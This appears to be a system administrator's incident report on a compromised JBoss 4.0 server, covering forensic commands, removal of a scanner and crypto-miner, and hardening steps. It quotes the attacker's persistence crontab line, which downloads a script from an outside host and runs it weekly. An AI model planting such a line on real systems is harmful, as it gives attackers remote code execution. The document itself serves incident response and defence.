I work as a system administrator for a company monitoring around 20 servers running open source applications . One of the application we are using is Jboss . The Jboss version we are running is an old version (4.0) as per client requirement .We have upgraded jboss to the latest after this incident . Besides this we  are using Nagios for application and Infrastructure monitoring. 
The alarm of a server getting compromised raised on a Monday morning when we saw continuous Nagios high load alerts from the server running old version of Jboss . The alerts actually started coming from Saturday morning .

I immediately logged to the affected machine and the first few commands I run was w and top command .

Checking System Load and identifying top contributor

top command showed high load on the system with some perl commands running for 'jboss' user with CPU utilization around 100%

# top
top - 15:03:03 up 22 days,  2:37,  1 user,  load average: 29.02, 28.40, 23.27
Tasks: 310 total,   3 running, 307 sleeping,   0 stopped,   0 zombie
Cpu(s):  9.7%us,  3.6%sy,  0.0%ni, 86.6%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:  66006160k total, 10932412k used, 55073748k free,   672448k buffers
Swap:  8193108k total,        0k used,  8193108k free,  7534248k cached


  PID USER      PR  NI  VIRT  RES  SHR S %CPU  %MEM    TIME+     COMMAND
19058 jboss     25   0 90228 5720 1252 R 100.1  0.0    9:58.71    perl
16965 jboss     25   0 90316 5844 1296 R 99.8   0.0    453:27.66  perl
......

......

These perl process are unknown to me and no such process are suppose to run with jboss user.  I started checking for memory and disk utilization and they looked normal. Went further on investigation and looked for network bandwidth usage on the host. We are using MRTG and Cacti for monitoring bandwidth usage and MRTG is showing bandwidth link utilisation of more than 100% for ethernet interface on this host. Interestingly , outgoing traffic is  beyond 100% utilization and so I suspected that probably our machine is being used as a zombie machine to target other machines on Internet . 

Identifying Open files by these process.

I proceeded further . Identified those files which are being used by these perl process . I used losof and strace to collect these information .

#  lsof -p 16965
COMMAND   PID  USER   FD   TYPE     DEVICE     SIZE       NODE NAME
perl    16965 jboss  cwd    DIR      104,2     4096    1996897 /var/tmp

perl    16965 jboss  cwd    DIR      104,2     4096    1996897 /dev/shm

perl    16965 jboss  rtd    DIR      104,9     4096          2 /
perl    16965 jboss  txt    REG      104,3    19208    1993621 /usr/bin/perl
perl    16965 jboss  mem    REG      104,9   139416     262462 /lib64/ld-2.5.so
perl    16965 jboss  mem    REG      104,9  1717800     262463 /lib64/libc-2.5.so
......

......

perl    16965 jboss  mem    REG      104,9    23736     262169 /lib64/libnss_dns-2.5.so
perl    16965 jboss    0r  FIFO        0,6          2859288169 pipe
perl    16965 jboss    1w  FIFO        0,6          2859288170 pipe
perl    16965 jboss    2w  FIFO        0,6          2859288171 pipe
perl    16965 jboss    3u  IPv4 2859288181                 TCP web.example.com:39580->146.X.X.X:https (ESTABLISHED)

# lsof /tmp/
COMMAND   PID  USER   FD   TYPE DEVICE SIZE NODE NAME
pnscan  23415 jboss  cwd    DIR  104,7 4096    2 /tmp/
pnscan  24503 jboss  cwd    DIR  104,7 4096    2 /tmp/

lsof on these process showed some unknown binaries running from /var/tmp, /tmp and /dev/shm directory.

#cd /var/tmp

# ls -la
total 108
drwxrwxrwt  2 root  root   4096 Dec  4 15:49 .
drwxr-xr-x 29 root  root   4096 May  6  2013 ..
-rw-rw-r--  1 jboss jboss  1244 Nov 30 12:13 1
-rwxrwxr-x  1 jboss jboss 34775 Nov 20 12:24 9x9
-rw-rw-r--  1 jboss jboss 38536 Nov 24 04:24 9x9.c
-rwxrwxr-x  1 jboss jboss 11078 Nov 20 12:02 syn

# strace -p 23415
Process 23415 attached - interrupt to quit
[ Process PID=23415 runs in 32 bit mode. ]
poll([{fd=246, events=POLLOUT}], 1, 1000) = 0 (Timeout)
close(246)                              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 246
fcntl64(246, F_GETFL)                   = 0x2 (flags O_RDWR)
fcntl64(246, F_SETFL, O_RDWR|O_NONBLOCK) = 0connect(246, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr("X.X.X.43")}, 16) = -1 EINPROGRESS (Operation now in progress)poll([{fd=246, events=POLLOUT}], 1, 1000) = 0 (Timeout)
close(246)                              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 246
fcntl64(246, F_GETFL)                   = 0x2 (flags O_RDWR)
fcntl64(246, F_SETFL, O_RDWR|O_NONBLOCK) = 0connect(246, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr("X.X.X.51")}, 16) = -1 EINPROGRESS (Operation now in progress)poll([{fd=246, events=POLLOUT}], 1, 1000) = 0 (Timeout)
close(246)                              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 246
fcntl64(246, F_GETFL)                   = 0x2 (flags O_RDWR)
fcntl64(246, F_SETFL, O_RDWR|O_NONBLOCK) = 0connect(246, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr("X.X.X.204")}, 16) = -1 EINPROGRESS (Operation now in progress)

from one of strace command output , lots of connect sessions can be seen to different IP Address on Internet . 

Also , can see a cron job set for jboss user.

# sudo -u jboss crontab -l
@weekly wget -q http://X.X.X.26/scen -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh

Preventive Measures:

1.  Kill processes

     # pkill -9 pnscan

        #  kill -9 16965  19058

2. Deleted unknown binaries 
      

[root@web tmp]# rm -i *
rm: remove regular file `1'? y
rm: remove regular file `9x9'? y
rm: remove regular file `9x9.c'? y
rm: remove regular file `syn'? y

# rm -i /dev/shm/minerd*
rm: remove regular file `/dev/shm/minerd'? y
rm: remove regular file `/dev/shm/minerd.log'? y
rm: remove regular file `/dev/shm/minerd.tar.gz'? y

3. Deleted cron for 'jboss' user

 # sudo -u jboss crontab -r

Hardening Steps:

  1.  Remove executable permission from /var , /var/tmp and /var/tmp
        directory.
          

 # lsof /tmp/
 # umount /tmp/
   umount: /tmp: device is busy
   umount: /tmp: device is busy

 # umount -l /tmp/

 # Update /tmp entry in /etc/fstab with exec,nodev,nosuid options 

   LABEL=/tmp              /tmp                    ext3    defaults,noexec        1 2

 To make the changes manually without reboot of host , mount /tmp with remount option .

 # mount -o  defaults,noexec,nodev,nosuid LABEL=/tmp  /tmp/

2. Perform similar hardening for /var/tmp and /dev/shm directory.

3. Replace login shell for jboss user
                 #usermod -s /bin/false jboss

4 . Disabled home directory for jboss user 
                 #usermod -d /home/jboss jboss

5. Disabled cron for jboss user
                  5.1  Add jboss entry in /etc/cron.deny
                  5.2  touch /var/spool/cron/jboss.disabled              

These steps provided a sigh of relief for our team . We are actually able to prevent our server from being further compromised .

Best advice for a system getting compromised is to remove the machine from network and reinstall from scratch after completing all forensic analysis.
We followed that and after proper testing of applications on Jboss 6 , we migrated to the latest version.